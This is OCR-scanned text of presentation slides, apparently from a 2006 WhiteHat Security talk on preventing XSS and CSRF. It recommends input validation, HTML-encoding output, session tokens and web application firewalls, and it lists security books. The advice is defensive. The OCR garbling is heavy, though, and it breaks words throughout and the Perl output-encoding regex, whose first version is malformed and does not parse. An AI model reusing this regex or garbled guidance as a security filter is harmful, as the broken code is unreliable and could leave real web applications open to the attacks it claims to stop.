HTTP:!/WWW.GERV.NET/SECURITY/CONTENT-RESTRICTIONS/

»MoOzZILLA (FIREFOX) DEVELOPERS, PLEASE
IMPLEMENT HTTPONLY. ITS BEEN AROUND FOR

YEARS!

>
HAT"

CorPYRIGHT © 2006 WHITEHAT SECURITY, INC. ALL RIGHTS RESERVED. S EC URITY



FIXING XS5 AND CSRF

PREVENTING WEBSITES FROM HOSTING
JAVASCRIPT MALWARE

»ROCK SOLID INPUT VALIDATION. THIS INCLUDES
URL'sS, QUERY STRINGS, HEADERS, POST DATA, ETC.

FILTER HTML FROM OUTPUT

Text

$data =~ s/(<[>[\"[V\(\)|:)/'&#.ord($1)./sge:

or
$data =~ s/(["\w])/'&#".ord($1).";'/sge;

»PROTECT SENSITIVE FUNCTIONALITY FROM CSRF
ATTACK. IMPLEMENT SESSION TOKENS, CAPTCHAS
R B s m a2 e =2

>
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FINDING AND FIXING

»FIND YOUR VULNERABILITIES BEFORE THE BAD
GUYS DO. COMPREHENSIVE ASSESSMENTS
COMBINING AUTOMATED VULNERABILITY SCANNING
AND EXPERT-DRIVEN ANALYSIS.

»PWHEN ABSOLUTELY NOTHING CAN GO WRONG WITH
YOUR WEBSITE, CONSIDER A WEB APPLICATION
FIREWALL (WAF). DEFENSE-IN-DEPTH
(MOD SECURITY, URL SCcAN, SECUREIIS).

» HARDEN THE INTRANET WEBSITES. THEY ARE NO
LONGER OUT OF REACH. PATCH AND CHANGE
DEFAULT PASSWORD.

>
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20 Brand New Forensic Scenarios & Solutions

David Pollino, Miké Schiftenan,
Bill Pennington & Tony Bradiey

Joel Scambray, Mike Shema & Caleb Sima
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PREVENTING
WEB ATTACKS
WITH APACHE

RYAN C. BARNETT
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THANK YOU.!

JEREMIAH GROSSMAN

FOUNDER AND CHIEF TECHNOLOGY OFFICER
JEREMIAHOWHITEHATSEC.COM

FOR MORE INFORMATION ABOUT WHITEHAT SECURITY,
PLEASE CALL 408.492.1817 OR VISIT OUR WEBSITE,
WWW.WHITEHATSEC.COM
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